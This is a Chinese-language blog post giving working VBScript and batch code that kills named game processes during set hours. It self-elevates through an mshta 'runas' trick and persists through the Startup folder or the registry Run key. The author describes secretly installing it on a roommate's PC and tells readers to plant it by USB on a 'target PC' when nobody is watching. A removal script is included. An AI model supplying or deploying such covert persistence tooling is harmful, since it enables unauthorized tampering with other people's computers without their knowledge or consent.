在特定時間段內禁止掉特定的程序(僅Windows)

之前舍友老王老打遊戲老影響我學習,於是給他電腦植入了一vbs腳本,效果蠻不錯的,就是容易被打。今天有個家長想要這東西,那我就在這貼出來吧。

製作禁止程序的腳本(主體):vbs腳本

Dim startTime,endTime,sleepTime,systemTime,limitPrograms

limitPrograms = array("DNF.exe", "lol.launcher_tencent.exe") '限制什麼程序,就加入什麼程序的進程名

'第一個定時,上午
startTime1="07:00:00" '什麼時間開始限制這些程序
endTime1="11:00:00" '什麼時間結束限制這些程序

'第二個定時,下午
startTime2="14:00:00" '什麼時間開始限制這些程序
endTime2="17:00:00" '什麼時間結束限制這些程序

'第三個定時,晚上
startTime3="19:00:00" '什麼時間開始限制這些程序
endTime3="22:00:00" '什麼時間結束限制這些程序

sleepTime = 1000*60 '每隔多長時間檢測一次,睡眠時間單位是ms(毫秒),如果設置十分鐘:1000*60*10


do while(true)
systemTime=Hour(Now)&":"&Minute(Now)&":"&Second(Now)
If trueTime Then
set wim= getobject("winmgmts:\\./root/cimv2")
For Each program In limitPrograms
limitProgram wim,program
next
End If
wscript.sleep sleepTime
Loop
WScript.quit

Function trueTime()
trueTime = compareTime(systemTime,startTime1) And compareTime(endTime1,systemTime) or compareTime(systemTime,startTime2) And compareTime(endTime2,systemTime) or compareTime(systemTime,startTime3) And compareTime(endTime3,systemTime)
End Function

Function compareTime(first,second)
compareTime = compareTimeByPosition(first,second,0)
End Function

Function compareTimeByPosition(first,second,posi)
Dim firstTime,secondTime
firstTime =Split(first,":")
secondTime =Split(second,":")
Select Case True
Case firstTime(posi)/1>secondTime(posi)/1
compareTimeByPosition = True
Case firstTime(posi)/1=secondTime(posi)/1
compareTimeByPosition= compareTimeByPosition(first,second,posi+1)
Case firstTime(posi)/1<secondTime(posi)/1
compareTimeByPosition = False
Case Else
compareTimeByPosition = False
End Select
End Function

Sub limitProgram(cusWim,name)
set limitResult = cusWim.execquery("select * from Win32_Process where name='" & name & "'")
killProgram(limitResult)
End Sub

Function killProgram(cusResult)
If cusResult.count > 0 Then
For Each pro In cusResult
pro.Terminate()
next
End If
End Function

將上述代碼粘入一個新建的 .vbs的文件中,可以起名爲limitProgram.vbs

製作植入腳本

加入啓動項並立刻執行limitProgrames.vbs:

::更改當前目錄爲批處理本身的目錄
cd /d %~dp0  
::獲取管理員運行權限
%1 start "" mshta vbscript:createobject("shell.application").shellexecute("""%~0""","::",,"runas",1)(window.close)&exit

::將腳本複製到啓動項文件夾中
copy "%cd%\limitProgrames.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\limitProgrames.vbs"

start limitProgrames.vbs

將上述代碼存入文件startup.bat中即可。

當然也有其他植入方法:
win+R輸入:regedit,進入註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
右鍵新建一個字符串值,名稱隨便,數據值指向這個文件的路徑. eg: 名稱:limitProgram,數據:D:\program files\moline\limitProgram.vbs

使用方法

將上面兩個文件存入同一個文件夾中並拷入U盤內,然後就是物理植入了,找到目標PC,趁沒人插入U盤,打開U盤雙擊文件startup.bat,然後拔出U盤開溜即可。


解除方法

刪除並關閉啓動項中的腳本:

cd /d %~dp0
%1 start "" mshta vbscript:createobject("shell.application").shellexecute("""%~0""","::",,"runas",1)(window.close)&exit

del /a /f /q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\limitProgrames.vbs"

taskkill /im wscript.exe /f

將上述代碼存入shutdown.bat,雙擊即可。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章